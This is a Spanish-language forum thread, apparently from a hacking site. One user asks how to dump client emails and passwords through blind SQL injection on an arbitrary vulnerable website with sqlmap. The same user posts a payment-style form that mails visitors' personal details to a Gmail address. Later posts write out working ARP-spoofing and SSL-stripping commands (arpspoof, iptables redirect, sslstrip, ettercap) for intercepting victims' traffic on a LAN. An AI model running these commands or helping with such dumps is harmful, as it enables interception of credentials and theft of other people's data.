Mensajes

Buenos días,

Parece muy interesante el curso pero enlace está caído, podrían corregirlo?
Gracias.

Buenas, tengo una duda y me gustaría que me pudiesen ayudar.
Imaginemos que encontramos una web cualquiera vulnerable a ataque boleano o sea a ciegas de una tabla clientes, ahora imaginemos que nos da email y pasword, y dumpeo la info bien imaginemos  que al dumpear salen 15.000 registros obviamente al ser ataque boleano 15.000 registros va a tardar una vida entera, así que mi pregunta es, puedo sacar solo los últimos 500 registros?, se que con havij si puedo hacer esto pero con sqlmap no se como hacerlo, muchas gracias.

Hola a todos, tengo una web con un formulario estandar con lo tipico nombre telefono direccion codigo postal... etc y quisiera que los datos del formulario se quedaran grabados en un fichero txt, es esto posible y si es asi como puedo hacerlo, gracias

Si he entendido bien deberia ser asi... el form:

**********************************************************************

<form class="contact_form" action="envia_form_php.php" method=post>

<ul>

  <li>

      <h3>Realizar proceso</h3>

  </li>

<li>
   <label for="name">Nombre:</label>
   
   <input id="name" name="name" type="text" placeholder="Ricardo" required />
</li>

<li>


   <label for="last_name">Apellidos:</label>
   
   <input id="last_name" name="last_name" type="text" placeholder="Garcia Martin" required />


</li>
<li>


   <label for="address":>Dirección:</label>

   <input id="addres" name="address" type="text" placeholder="calle sant joan 36" required />

</li>
<li>


   <label for="mail":>Email:</label>
   
   <input id="mail" name="mail" type="text" placeholder="ejemplo@ejemplo.com" required />

</li>
<li>


   <label for="country":>Pais:</label>

   <input id="country" name="country" type="text" placeholder="España" required />

</li>
<li>



   <label for="city":>Ciudad:</label>

   <input id="city" name="city" type="text" placeholder="Barcelona" required />

</li>
<li>



   <label for="zip_code":>Zip:</label>

   <input id="zip_code" name="zip_code" type="text" placeholder="" required />



</li>
<li>
    
    
     <button class=""submit" type="submit">Pagar</button>
    
</li>
</ul>


</form>



*********************************************************************


************************El PHP****************************************

<?

if (!$_POST_VARS){

?>

<?

}else{

    //Estoy recibiendo el formulario, compongo el cuerpo

    $cuerpo = "En proceso\n";

    $cuerpo .= "Nombre: " . $_POST_VARS["name"] . "\n";

    $cuerpo .= "Apellidos: " . $_POST_VARS["last_name"] . "\n";

    $cuerpo .= "Dirección: " . $_POST_VARS["address"] . "\n";

    $cuerpo .= "Email: " . $_POST_VARS["email"] . "\n";

    $cuerpo .= "Pais: " . $_POST_VARS["country"] . "\n";

    $cuerpo .= "Ciudad: " . $_POST_VARS["city"] . "\n";

    $cuerpo .= "Zip: " . $_POST_VARS["zip_code"] . "\n";

//mando el correo...

    mail("gutierrezgalvezalejandro@gmail.com","Formulario recibido",$cuerpo);

    //doy las gracias por el envío

    echo "Proceso realizado con exito

*********************************************************************

aun asi no recibo el mail, no entiendo mucho de php por no decir nada si me pudieras ayudar te lo agradeceria , muchas gracias.

[MOD: Utilizar etiquetas [code][/code], dudas de PHP en el subforo de PHP. Leer reglas -> Normas del subforo de Desarrollo Web & Normas del subforo de PHP]

hola a todos, expongo el tema.

tengo una web en la que he creado un formulario html que llama al archivo envia_form_php.php,pero no recibo ningun mail, el formulario es el siguiente:

Código (html4strict) [Seleccionar] Expandir

<form class="contact_form" action="envia_form_php.php" method=post>

<ul>

 <li>

<h3>Realizar proceso</h3>

 </li>

<li>
<label for="name">Nombre:</label>

<input id="name" type="text" placeholder="Ricardo" required />
</li>

<li>


<label for="last_name">Apellidos:</label>

<input id="last_name" type="text" placeholder="Garcia Martin" required />


</li>
<li>


<label for="address":>Dirección:</label>

<input id="address" type="text" placeholder="calle sant joan 36" required />

</li>
<li>


<label for="mail":>Email:</label>

<input id="mail" type="text" placeholder="ejemplo@ejemplo.com" required />

</li>
<li>


<label for="country":>Pais:</label>

<input id="country" type="text" placeholder="España" required />

</li>
<li>



<label for="city":>Ciudad:</label>

<input id="city" type="text" placeholder="Barcelona" required />

</li>
<li>



<label for="zip_code":>Zip:</label>

<input id="zip_code" type="text" placeholder="" required />



</li>
<li>
 
 
 <button class=""submit" type="submit">Pagar</button>
 
</li>
</ul>


</form>



Ahora tengo en el archivo envia_php.php lo siguiente:

Código (php) [Seleccionar] Expandir

<?

if (!$HTTP_POST_VARS){

?>

<?

}else{

   //Estoy recibiendo el formulario, compongo el cuerpo

   $cuerpo = "En proceso\n";

   $cuerpo .= "Nombre: " . $HTTP_POST_VARS["name"] . "\n";

   $cuerpo .= "Apellidos: " . $HTTP_POST_VARS["last name"] . "\n";

   $cuerpo .= "Dirección: " . $HTTP_POST_VARS["address"] . "\n";

   $cuerpo .= "Email: " . $HTTP_POST_VARS["email"] . "\n";

   $cuerpo .= "Pais: " . $HTTP_POST_VARS["country"] . "\n";

   $cuerpo .= "Ciudad: " . $HTTP_POST_VARS["city"] . "\n";

   $cuerpo .= "Zip: " . $HTTP_POST_VARS["zip code"] . "\n";

 

   //mando el correo...

   mail("gutierrezgalvezalejandro@gmail.com","Formulario recibido",$cuerpo);

   //doy las gracias por el envío

   echo "Proceso realizado con exito.";
}
?>

que es lo que estoy haciendo mal y como puedo solucionarlo?, gracias a todos y un saludo.

MOD: Utilizar etiquetas [code][/code], dudas de PHP en el subforo de PHP. Leer reglas -> Normas del subforo de Desarrollo Web & Normas del subforo de PHP

Bueno ya resolvi el problema a medias jejeje.

Lo que he hecho es redirigir las iptables al puerto 1881 y lanzar el sslstrip desde la shell y el ettercap lo que hice ha sido lanzarlo de forma grafica ettercap gtk 0.8.0 y de esta manera si que me hace el ataque.

La ultima duda que me surje es si puedo lanzar este mismo ataque a varios pc victima que esten conectados a la misma red por medio del ettercap gtk que es como puedo hacerlo yo, ¿es posible? ¿y si lo es como se haria?.

gracias.

Sigo con los problemas esta vez en arpspoof hago lo siguiente...

echo "1" > /proc/sys/net/ipv4/ip_forward

arpspoof -i interfaz_red -t ip_victima ip_router



En otra shell

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1881

Arranco el sslstrip y digo que me haga un fichero donde guardar los datos

sslstrip -w (nombre archivo)



En otra shell

tail -f nombre archivo (para ver el fichero en vivo y directo)


Ahora cojo el pc victima y....
chaaaaannnn no me va internet a menos de que ponga manualmente "https" esto en chrome y lo mismo para mozilla.

Algún consejo?

Me retracto, internet si que tengo lo que no puedo es abrir ninguna pagina que vaya por hhtps ya que el ataque me esta quitando la "s" y me dice pagina no disponible, si le pongo el https manualmente si que puedo verla...

Sigo con los problemas esta vez en arpspoof hago lo siguiente...

echo "1" > /proc/sys/net/ipv4/ip_forward

arpspoof -i interfaz_red -t ip_victima ip_router



En otra shell

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1881

Arranco el sslstrip y digo que me haga un fichero donde guardar los datos

sslstrip -w (nombre archivo)



En otra shell

tail -f nombre archivo (para ver el fichero en vivo y directo)


Ahora cojo el pc victima y....
chaaaaannnn no me va internet a menos de que ponga manualmente "https" esto en chrome y lo mismo para mozilla.

Algún consejo?

He buscado y no encontre ninguna solución, nunca me tope con este problema sin embargo hasta que no encuentres una solución puedes usar arpspoof ne vez de ettercap para el spoofing, saludos.

Si pones los datos también pasaba lo mismo, no?

PD:Tenias permisos de admin o sudo?

Si, aun poniendo los parametros decia lo mismo
con los live de linux lo normal es que seas root, pero bueno seguire tu consejo de hacerlo con arpspoof mientras veo como lo resuelvo, si alguien sabe como solucionar el problema que lo ponga please.

un saludo

Hola a todos,

estoy realizando pruebas en una lan para realizar un ataque sslstrip y ettercap.
lo primero que hago es poner el modo ip forward

echo 1 > /proc/sys/net/ipv4/ip_forward

luego redirijo el trafico de red del puerto 80 al puerto 1881 por ejemplo

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1881

hago correr el sslstrip

sslstrip -f -l 1881

hasta aquí bien, ahora vamos con el ettercap...

ettercap -T -q -i Wlan0 -M arp:remote // //

no pongo parametros para que me agregue toda la red q haya aunque tambien lo he probado poniendo la ip del pc victima y la del router el resultado fue el mismo.


he aquí el problema...

target (2 host)

0 host added to the list FATAL : ARP poisoning needs a non empty host list

Alguien sabe por que me dice esto y como puedo solucionarlo?

para mas información diré que en mi red tengo un sobremesa conectado por cable
un portatil conectado por wifi y otro portatil que es de donde lanzo el ataque con un adaptador de red alfa y de sistema es un live de linux.

Muchas gracias a todos por vuestra ayuda.

Un saludo.